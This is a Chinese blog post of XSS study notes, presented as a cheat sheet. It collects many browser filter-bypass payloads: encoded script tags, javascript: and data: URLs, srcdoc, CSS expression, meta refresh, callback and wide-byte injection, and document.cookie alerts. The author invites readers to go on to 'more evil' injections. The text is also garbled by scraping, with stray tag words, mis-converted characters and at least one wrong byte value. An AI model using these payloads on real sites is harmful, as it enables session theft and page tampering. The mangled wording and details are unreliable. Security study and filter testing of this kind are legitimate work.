該文章是本人兩天的學習筆記,共享出來,跟你們交流。知識比較零散,可是對有必定 JS 基礎的人來講,每一個小知識都有助於開闊你的 Hack 視角。首先聲明,本文只是 XSS 攻擊的冰山一角,讀者自行深刻研究。javascript
本文地址:http://www.cnblogs.com/hustskyking/p/xss-snippets.html ,轉載請保留源地址。php
注意:這些插入和修改都是爲了避開瀏覽器自身的過濾,或者開發者認爲的過濾。css
1. JS函數。html
document.write innerHTML eval setTimeout/setInterval等等都是不少XSS攻擊注入的入口html5
2. html實體編碼java
> "alert("Barret李靖")".replace(/./g, function(s){ return "&#" + s.charCodeAt(0) /*.toString(16) 轉換成16進制也能夠滴*/ + ";" }); > "alert(1)" <img src="x" onerror="alert(1)" />
3. 若是過濾 html 實體編碼,能夠改爲URL編碼git
> encodeURIComponent("&#")
> "%26%23"
4. 利用 HTML5 新增字符程序員
: 冒號 
 換行 <a href="javascr
ipt:alert("Barret李靖")">XSS</a>
5. JS進制轉換github
> "\74\163\143\162\151\160\164\76\141\154\145\162\164\50\61\51\74\57\163\143\162\151\160\164\76" > "<script>alert("Barret李靖")</script>"
6. Base64轉換web
> base64("<script>alert("Barret李靖")</script>"); > PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== <a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>
7. 瀏覽器解析非嚴格性
<img src=image.jpg title="Hello World" class="test"> ↓ ↓ ↓ ↓ ↓ ↓ ①② ③ ④ ⑤ ⑥
①中可插入 NUL字符(0x00)
②和④中空格可使用 tab(0x0B)與換頁鍵(0x0C),
②還可使用 / 替換
⑤中的"在IE中也可替換成`。
位置 | 代碼 | 可能插入或替代的代碼 ------------|---------------------------|----------------------- <的右邊 | <[here]a href="... | 控制符,空白符,非打印字符 a標籤的後門 | <a[here]href="... | 同上 href屬性中間 | <a hr[here]ef="... | 同上+空字節 =兩邊 | <a href[here]=[here]"... | 全部字符 替換= | <a href[here]"... | Union編碼符號 替換" | <a href=[here]…[here]> | 其餘引號 >以前 | <a href="…"[here]> | 任意字符 /以前 | <a href="…">...<[here]/a> | 空白符,控制符 /以後 | <a href="…">...</[here]a> | 空白符,控制符 >閉合以前 | <a href="…">…</a[here]> | 全部字符
8. 斜槓
在字符串中斜槓(/)能夠用於轉義字符,好比轉義 " 和 ' ,雙斜槓(//)能夠用來註釋。這樣能夠很輕鬆的改變以前的語句,注入內容。
9. 空格的處理方式
在解析的時候空格被轉移成
,注入的時候可使用 /**/
來替換。
10. 特殊屬性
1)srcdoc屬性(chrome有效)
<iframe srcdoc="<script>alert("Barret李靖")</script>"></iframe>
2)autofoucus
<input onfocus=write(1) autofocus>
3)object
<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83"> <param name="dataurl" value="javascript:alert("Barret李靖")"> </object>
11.繞過瀏覽器過濾(crhome)
?t="><img src=1 onerror=alert("Barret李靖")> <input type="hidden" id="sClientUin" value="">
瀏覽器會過濾onerror中的代碼,因此換種方式注入
?t="><script src="data:text/html,<script>alert("Barret李靖")</script><!--
chrome攔截,是有必定的攔截規則的,只有它以爲是惡意代碼的纔會去攔截。
12.替換URL
<xss style="behavior: url(xss.htc);"> <style>.xss{background-image:url("javascript:alert('xss')");}</style><a class=xss></a> <style type="text/css">body{background:url("javascript:alert('xss')")}</style>
13.抓包、換包
1. javascript:和vbscript:協議執行後的結果將會映射在DOM後面。
<a href="javascript:'\x3cimg src\x3dx onerror=alert("Barret李靖")>'">click me</a>
2. 變量覆蓋
<form id="location" href="bar"> <script>alert(location.href)</script>
3. meta標籤
<meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)"> Javascript: 協議可能被禁止,可使用 data: <meta http-equiv="refresh" content="0; url=data:text/html,<script>alert("Barret李靖")</script>">
4. css注入
<style> @import "data:,*%7bx:expression(write(1))%7D"; </style> <style> @imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style> <style> <link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
5. 提早閉合標籤
http://example.com/test.php?callback=cb 缺陷代碼: <script type='text/javascript'> document.domain='soso.com'; _ret={"_res":2}; try{ parent.aaa(_ret); }catch(err){ aaa(_ret); } </script> 注入:http://example.com/test.php?callback=cb</script><script>alert("XSS")</script>
原理:cb爲回調函數,若是後端並無對callback字段進行過濾,則能夠cb</script><script>alert("XSS")</script>
這麼長的一串做爲函數名,而後你就懂啦~ 本方式只針對上面有缺陷的代碼。
6. 提早閉合雙引號
<input type="text" value="XSS" onclick="alert("Barret李靖")" /> <!--<img src="--><img src=x onerror=alert("Barret李靖")//"> <comment><img src="</comment><img src=x onerror=alert("Barret李靖")//"> <![><img src="]><img src=x onerror=alert("Barret李靖")//"> <style><img src="</style><img src=x onerror=alert("Barret李靖")//">
7. 阻止編碼
?t=;alert("Barret李靖") <script type="text/javascript"> var t = query(t); // t = "";alert("Barret李靖")" </script>
上面能夠看到 ";" 被編碼了,觀察頁面編碼:
<meta http-equiv="Content-Type" content="text/html; charset=gb18030" />
gbxxx系列編碼,能夠嘗試寬字節:
?t=%c0%22alert("Barret李靖")
8. 攻擊單行註釋
URL對應的param中添加換行符(%0a)或者其餘換行符。
?t=%0aalert("Barret李靖")//
// init('id', "%0aalert("Barret李靖")//");
被解析成
// init('id', "
alert("Barret李靖")//");
9. url
url中可使用不少協議 http:// https:// javascript: vbscript: data:等等,利用這些屬性,能夠找到不少的空隙。
<a href="data:text/html,<script>alert("Barret李靖")</script>">XSS</a>
10. Flash跨域注入
這個我不太熟悉,如今網頁上Flash用的愈來愈少了,懶得繼續看了。
11. 利用事件
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
12. 利用標籤
<table><td background="javascript:alert('xss')">
XSS攻擊沒太多神奇的地方,就是利用瀏覽器防護不周到或者開發者代碼不健壯,悄悄對頁面或者服務器進行攻擊。
1. 繞過過濾
URL中的 <
,在DOM XSS中,可使用 \u003c (unicode編碼)表示,不過他有可能被過濾了,最後解析成<
,也可使用 \x3c (Javascript 16進制編碼),>
對應使用 \x3e。這種狀況常常在 innerHTML 以及 document.write 中用到。
所謂的過濾包括人工過濾,也包括了瀏覽器HTML與JavaScript自己的過濾,程序員會在瀏覽器自己過濾過程當中進行一些干擾和修改,這幾個流程都給咱們提供了不少 xss 攻擊的入口。
1) 數據須要過濾,可是未過濾。致使XSS。好比:暱稱、我的資料。
2) 業務需求使得數據只能部分過濾,但過濾規則不完善,被繞事後致使XSS。好比:日誌、郵件及其它富文本應用。
2. 利用源碼中js的解析
好比第二部分提出的第11點,瀏覽器的攔截
?t="><script>alert("Barret李靖")</script>
這樣的插入會被攔截,當你發現源碼中有這麼一句話的時候:
function parseURL(){
//...
t.replace("WOW", "");
//..
}
即可以修改如上參數:
?t="><scrWOWipt>alert("Barret李靖")</scrWOWipt>
直接繞過了chrome瀏覽器對危險代碼的防護。
1. 尋找可控參數
攻擊入口在哪裏?通常是有輸入的地方,好比URL、表單、交互等。
2. 開始注入
注入細節上面都是,基本的思惟模式:
3. 修補注入錯誤
注入後保證沒有語法錯誤,不然代碼不會執行,注入了也沒用。這裏的意思是,你注入的一個參數可能在腳本多處出現,你能夠保證一處沒語法錯誤,可是不能保證到處都正確
4. 開搞
測試的時候alert("Barret李靖"),彈出成功再繼續其餘更邪惡的注入方式。
爲何留到後面說。XSS也瞭解了不少次了,每次都是先從概念觸發,感受沒啥意思,什麼反射性、DOM型、儲存型等等,還不如先去實踐下,憑着本身對XSS的理解,多看幾個網站的源碼,找找樂趣。
存儲型和反射型相比,只是多了輸入存儲、輸出取出的過程。簡單點說:
反射型是:輸入--輸出;
存儲型是:輸入--進入數據庫*--取出數據庫--輸出。
這樣一來,你們應該注意到如下差異:
反射型是:絕大部分狀況下,輸入在哪裏,輸出就在哪裏。
存儲型是:輸入在A處進入數據庫,
而輸出則可能出如今其它任何用到數據的地方。
反射型是:輸入大部分位於地址欄或來自DOM的某些屬性,也會偶爾有數據在請求中(POST類型)存儲型是:輸入大部分來自POST/
GET請求,常見於一些保存操做中。
於是咱們找存儲型的時候,從一個地方輸入數據,須要檢測不少輸出的點,從而可能會在不少點發現存儲型XSS。
簡單小結:
關注漏洞報告平臺 Wooyun,多動腦筋,手動 hack。最重要的仍是先黑客再紅客。